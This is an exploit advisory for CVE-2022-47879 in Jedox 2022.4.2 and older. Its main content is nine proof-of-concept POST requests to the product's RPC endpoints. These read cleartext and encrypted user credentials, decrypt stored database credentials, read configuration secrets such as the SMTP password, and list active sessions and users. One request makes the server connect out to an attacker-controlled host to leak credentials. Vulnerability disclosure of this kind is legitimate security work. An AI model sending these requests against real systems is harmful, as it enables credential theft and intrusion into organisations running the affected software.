# Exploit Title: Jedox 2022.4.2 - Code Execution via RPC Interfaces
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2022.4 (22.4.2) and older
# CVE : CVE-2022-47879


Introduction
=================
A Remote Code Execution (RCE) vulnerability in /be/rpc.php and /be/erpc.php allows remote authenticated users to load arbitrary PHP classes from the rtn directory and to execute its methods. To exploit this vulnerability, the attacker needs knowledge about loadable classes, their methods and arguments.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) The `Studio::getUserCreds` function can be used to read the clear text credentials of the currently authenticated user.

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "Studio",
      "getUserCreds"
    ]
  ]

2) Using function `conn::test_palo`, an outgoing HTTP connection can be initiated from the web server to an attacker controlled server (Specify HOST and PORT) with the authenticated user's credentials. This could leak cleartext credentials to an attacker.

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "conn",
      "test_palo",
      [
        "<HOST>",
        "<PORT>",
        "",
        "",
        true,
        null
      ]
    ]
  ]

3) The function `Studio::getExternURI` can be used to generate a URL with embedded username and encrypted password of the currently authenticated user.

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "Studio",
      "getExternURI",
      [
        0,
        "",
        [
          0
        ],
        {
          "flag":1
        }
      ]
    ]
  ]

4) List all available database connections via `conn::ls`:

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "conn",
      "ls",
      [
        null,
        false,
        true,
        [
          "type",
          "active",
          "description"
        ]
      ]
    ]
  ]

5) Retrieve details of individual database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:

  PATH: /tc/rpc
  METHOD: POST
  BODY:
  [
    [
      "com.jedox.etl.mngr.Connections",
      "getGlobalConnection",
      [
        "<CONNECTION>"
      ]
    ]
  ]

6) Some functions return credentials only in encrypted form. However, they can be decrypted by any user using `common::decrypt` (specify encrypted credentials via ENCRYPTEDCREDS):

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "common",
      "decrypt",
      [
        "<ENCRYPTEDCREDS>"
      ]
    ]
  ]

7) Using `common::paloGet` it is possible to read arbitrary configuration parameters (specify config param via CONFIG. For example, the password of the SMTP server can be read with it (CONFIG: tasks.smtp.password):

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "common",
      "paloGet",
      [
        null,
        "Config",
        "#_config",
        [
          "config"
        ],
        {
          "config": [
            "<CONFIG>"
          ]
        },
        true,
        true
      ]
    ]
  ]

8) The function `palo_mgmt::sess_list` can be used to retrieve a list of all active user sessions. The session information includes not only the username but also the user's IP address, information about the browser and other data.

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "palo_mgmt",
      "sess_list",
      [
        null
      ]
    ]
  ]

9) The function `palo_mgmt::lic_users_list` returns a list of all users stored in the system:

  PATH: /be/rpc.php
  METHOD: POST
  BODY:
  [
    [
      "palo_mgmt",
      "lic_users_list",
      [
        "0"
      ]
    ]
  ]